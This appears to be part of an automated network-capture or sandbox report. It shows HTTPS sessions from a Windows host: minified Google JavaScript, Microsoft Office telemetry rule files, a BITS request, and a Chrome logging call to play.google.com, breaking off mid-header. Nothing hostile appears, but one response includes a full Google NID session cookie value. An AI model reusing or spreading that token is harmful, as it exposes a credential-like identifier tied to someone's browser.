2024-11-16 12:01:24 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-16 12:01:24 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-16 12:01:24 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-16 12:01:24 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-16 12:01:24 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-16 12:01:24 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-16 12:01:25 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-16 12:01:25 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120125Z-1866b5c5fbb5hnj5hC1DFW18sc000000031g0000000002qz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bc7018b2-201e-003f-17bb-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120125Z-16547b76f7fd4rc5hC1DFWkzhw000000033g000000003fcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:25 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:25 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120125Z-1866b5c5fbbmvj59hC1DFW9pp400000000dg0000000006mv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 12:01:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 6cd7b429-001e-0034-76a2-37dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120125Z-164f84587bfm8kdnhC1DFWey4g00000002x00000000043km x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4ab292c7-f01e-005d-268a-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120125Z-164f84587bfr8hdmhC1DFWt5nc00000000zg000000007ve0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49730	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 12:01:25 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=103444 Date: Sat, 16 Nov 2024 12:01:25 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49736	142.250.185.174	443	348	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:25 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 12:01:25 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 37 35 38 34 38 32 37 35 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731758482759",null,null,null,
2024-11-16 12:01:25 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=HgTrkneoV4upjA-f3qhtpJ2DeCoqfli76LlZH0uYMjvrexy4HiyZdGwyvcUnGyjdxZcIzTh1w_MiErMEZcUVJlvfx0pYVk5CmaasVkWsf3kr2j7DaYKC59TGp4OsQFG-Vu1Tyecs2tltG799jP041J7cVs8jmQpVesrxTbEAjQeVls2QdTkvs08; expires=Sun, 18-May-2025 12:01:25 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 16 Nov 2024 12:01:25 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 16 Nov 2024 12:01:25 GMT Cache-Control: private Connection: close Transfer-Encoding: 